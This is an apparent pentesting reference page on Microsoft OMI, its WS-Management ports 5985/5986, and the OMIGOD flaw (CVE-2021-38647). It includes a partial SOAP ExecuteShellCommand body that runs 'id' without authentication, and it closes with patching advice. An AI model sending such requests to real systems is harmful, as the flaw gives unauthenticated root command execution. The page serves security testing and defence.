DΛΣMӨП

// HackTricks · Network Services

5985, 5986 - Pentesting OMI

5985, 5986 - Pentesting OMI

Basic Information

Microsoft’s Open Management Infrastructure (OMI) is an open-source implementation of the Distributed Management Task Force’s CIM and WS-Management standards for Unix-like systems.[1] Some Azure management extensions install OMI on Linux virtual machines, including extensions associated with services such as:[3]

  • Azure Automation
  • Azure Automatic Update
  • Azure Operations Management Suite
  • Azure Log Analytics
  • Azure Configuration Management
  • Azure Diagnostics

Depending on the extension and configuration, omiengine may run as root and expose an HTTPS listener. OMI can also operate through a local Unix socket, so installation alone does not prove that a network listener is reachable.[3]

Common WS-Management ports are 5985/TCP for HTTP and 5986/TCP for HTTPS.[4]

CVE-2021-38647 (OMIGOD)

Microsoft disclosed CVE-2021-38647 in September 2021. Vulnerable OMI versions could incorrectly authorize an unauthenticated request sent to the /wsman endpoint when the Authorization header was omitted.[2][3]

On a network-exposed vulnerable instance, an attacker could send an ExecuteShellCommand SOAP request without that header and execute commands as root.[4] The following is only the relevant body excerpt; a complete request also needs the WS-Management envelope fields described in the linked analysis and proof of concept:

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
   ...
   <s:Body>
      <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:command>id</p:command>
         <p:timeout>0</p:timeout>
      </p:ExecuteShellCommand_INPUT>
   </s:Body>
</s:Envelope>

Patch OMI and restrict WS-Management listeners to trusted management networks. Horizon3.ai’s repository contains a technical proof of concept suitable for controlled validation.[5]

References